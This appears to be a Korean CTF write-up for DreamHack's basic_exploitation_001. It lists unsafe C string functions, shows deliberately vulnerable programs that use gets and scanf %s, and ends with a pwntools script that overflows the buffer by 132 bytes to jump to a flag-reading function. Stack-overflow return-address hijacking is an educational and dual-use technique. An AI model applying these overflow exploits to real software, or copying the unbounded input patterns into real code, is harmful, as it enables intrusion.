[DreamHack] BOF / basic_exploitation_001
scanf에 %s 포맷 스트링 사용 x
%[n]s 형태로 사용해야 함
위험 함수
- strcpy
- strcat
- sprintf
권장 함수(버퍼의 크기를 같이 입력)
- strncpy
- strncat
- snprintf
- fgets
- memcpy
코어 파일
예제 파일
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
비정상적 종료가 된 것을 볼 수 있음
/var/lib/apport/coredump에 코어파일 생성됨
https://dreamhack.io/wargame/challenges/3
basic_exploitation_001
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용
dreamhack.io
basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
바이너리 실행
단순 문자열을 받고 종료됨
코드 분석
gets가 buf를 다른 조건 없이 받고 있어 오버플로우가 발생할 것임
read_flag 함수가 flag를 읽어주기 때문에 read_flag 함수 주소를 강제 호출해야 됨
buf + sft + ret(read_flag)
buf = 128 Byte
NX bit가 존재-> 셸코드 삽입 불가
read_flag 함수 주소 = 0x080485b9
main + 11에 ebp-0x80 문자열 저장 확인
gets 함수가 실행된 후 주소 확인
gets 함수의 반환값이 있는 main+20으로 b 후 c
aaaaaaaaaa 입력한 문자열이 0xffffd118에 위치
= ebp-0x80은 0xffffd118
__libc_start_main+245은 0xffffd19c
buf부터 ret까지 offset: 132 바이트
=> buf, stf 132바이트 + ret( 0x080485b9 )
exploit 코드
from pwn import *
p= remote('host3.dreamhack.games', 24248)
payload=b'A'*132 + p32(0x080485b9)
p.sendline(payload)
p.interactive()
flag 획득